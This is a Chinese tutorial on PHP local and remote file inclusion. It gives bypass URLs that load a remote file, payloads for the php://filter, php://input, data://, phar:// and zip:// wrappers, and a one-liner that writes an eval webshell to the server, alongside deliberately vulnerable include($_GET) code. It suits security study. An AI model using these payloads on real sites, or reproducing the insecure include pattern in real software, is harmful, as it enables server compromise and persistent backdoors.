有限制的远程文件包含
对文件指定了特定的前后缀 .html .php等,攻击者需要绕过过滤来执行恶意代码
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
绕过
1.问号绕过 形如http://xxxxxxx?filename=http://aaaa/b.txt? 后端处理后include(http:///aaaa/b.txt?.html) ?后的字符串被当作查询语句,绕过过滤
2.#绕过,URL编码为%23 #可以截断后面的拓展名.html 如http://xxxxxxx?filename=http://aaaa/b.txt%23
3.空格绕过,,URL编码为%20 如http://xxxxxxx?filename=http://aaaa/b.txt%20
PHP伪协议
file:// 访问本地文件系统
http:// 访问HTTP(S)网站
ftp:// 访问FTP(S)URL
php:// 访问各个输入输出流
zlib:// 处理压缩流
data:// 读取数据
glob:// 查找匹配的文件路径模式
phar:// PHP归档
ssh2:// secure shell 2
rar:// RAR压缩数据流
ogg:// 处理音频流
expect:// 处理交互式的流
1.php://filter
php://filter是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写 以下两种用法相同:
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php
利用php://filter/读取文件时,PHP配置文件不需要开启allow_url_fopen和allow_url_include, php://filter使用的参数
| resource=<要过滤的数据流> | 该参数是必要的,指定要过滤的数据流 |
|---|
| read=<读链的筛选器列表> | 可选参数,设定一个或多个筛选器名称,用管道符(单竖线)分割 | | write=<写链的筛选器列表> | 可选参数,设定一个或多个筛选器名称,用管道符(单竖线)分割 | | <;两个链的筛选器列表> | 未read=或write=作前缀的筛选器列表会视情况应用于读或写链 |
http://xxxxx/test.php?filename=php://filter/convert.base64-encode/resource=test.php
读取test.php的base64编码


2.php://input
php://input可以访问请求的原始数据的只读流,也就是可以直接读取POST上没有经过解析的原始数据 ,但是使用enctype="muliipart/form-data的时候php://input无效。
用法: 1.读取POST数据 直接读取POST上没有经过解析的原始数据,此时allow_url_fopen和allow_url_include不需要开启
<?php
echo file_get_contents("php://input");
?>
file_get_contents获取php://input数据,传入POST的数据,则输出该数据
  
2.执行命令 allow_url_include需要开启 allow_url_fopen不需要开启 POST传入PHP代码,就可以执行任意代码
<?php
$filename=$_GET['filename'];
include($filename);
?>
 
POST传入<?php system("whoami");?>,执行whoami命令
如果不开启allow_url_include,就会产生报错,无法利用。
3.写入木马,实质与执行命令相同,只是执行写入木马 allow_url_include需要开启 allow_url_fopen不需要开启,个人操作中发现如果开启,则无法执行命令 POST传入PHP代码,就可以写入木马
<?php
$filename=$_GET['filename'];
include($filename);
?>
如果POST传入一段代码,就会在当前目录下写入木马 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd‘])?>');?>
如果不开启allow_url_include,就会产生报错,无法利用。
file://伪协议
file://可以访问本地文件系统,读取文件的内容
allow_url_fopen和allow_url_include不需要开启
<?php
$filename=$_GET['filename'];
include($filename);
?>
读取http://xxxxxx.pph?filename=file://c:/boot.ini 
data://伪协议
从PHP5.2.0开始,数据流封装器开始有效,主要用于数据流的读取,传入PHP代码,就会执行任意代码
使用方法:
data://text/plain;base64,xxxxx(base64加密后的数据)
allow_url_fopen和allow_url_include需要开启
<?php
$filename=$_GET['filename'];
include($filename);
?>
 对+进行URL编码%2b
data:
执行代码
http://xxxxx.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://伪协议
不管参数的文件是什么拓展名,都会被当作压缩包
?filename=phar://压缩包/内部文件
allow_url_fopen和allow_url_include需要开启 php版本高于5.3.0 压缩包使用zip://压缩,不能使用 rar://压缩,木马压缩后,改为其他任意格式的文件都可以使用
<?php
$filename=$_GET['filename'];
include($filename);
?>
在有上传功能的网站中,用phar://上传一个shell.php,然后使用zip://压缩为shell.zip,再将拓展名改为.png,上传到网站 phar://把shell.png当作ZIP解压,访问shell.php
http:
zip://伪协议
与phar://原理类似 用法:
?file=zip://压缩包绝对路径/压缩文件的子文件名
?file=zip://xxx.png#shell.php
allow_url_fopen和allow_url_include需要开启 php版本高于5.3.0 #转码为%23
http:
zip://把shell.png当作ZIP解压,访问shell.php
|